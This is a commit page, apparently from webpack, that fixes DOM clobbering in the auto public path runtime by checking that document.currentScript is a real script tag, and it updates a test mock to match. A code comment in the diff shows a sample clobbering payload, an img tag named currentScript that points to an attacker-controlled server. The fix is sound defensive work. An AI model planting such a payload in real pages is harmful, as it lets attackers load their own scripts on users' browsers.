Commit955e057

authored

security: fix DOM clobbering in auto public path

2 parents5ac3d7f +9822387 commit955e057Copy full SHA for 955e057

File tree

-5

lines changed

-5

lines changed

Lines changed: 4 additions & 1 deletion

Original file line number	Diff line number	Diff line change
`@@ -50,7 +50,10 @@ class AutoPublicPathRuntimeModule extends RuntimeModule {`
`50`	`50`	`var document =${RuntimeGlobals.global}.document;`,
`51`	`51`	`"if (!scriptUrl && document) {",`
`52`	`52`	`Template.indent([`
`53`		`-"if (document.currentScript)",`
	`53`	+// Technically we could use `document.currentScript instanceof window.HTMLScriptElement`,
	`54`	+// but an attacker could try to inject `<script>HTMLScriptElement = HTMLImageElement</script>`
	`55`	+// and use `<img name="currentScript" src="https://attacker.controlled.server/"></img>`
	`56`	`+"if (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT')",`
`54`	`57`	`Template.indent("scriptUrl = document.currentScript.src;"),`
`55`	`58`	`"if (!scriptUrl) {",`
`56`	`59`	`Template.indent([`

Lines changed: 4 additions & 4 deletions

Lines changed: 1 addition & 0 deletions

Original file line number	Diff line number	Diff line change
`@@ -2,6 +2,7 @@ class CurrentScript {`
`2`	`2`	`constructor(path="",type="text/javascript"){`
`3`	`3`	this.src=`https://test.cases/path/${path}index.js`;
`4`	`4`	`this.type=type;`
	`5`	`+this.tagName="script";`
`5`	`6`	`}`
`6`	`7`	`}`
`7`	`8`

Comments

(0)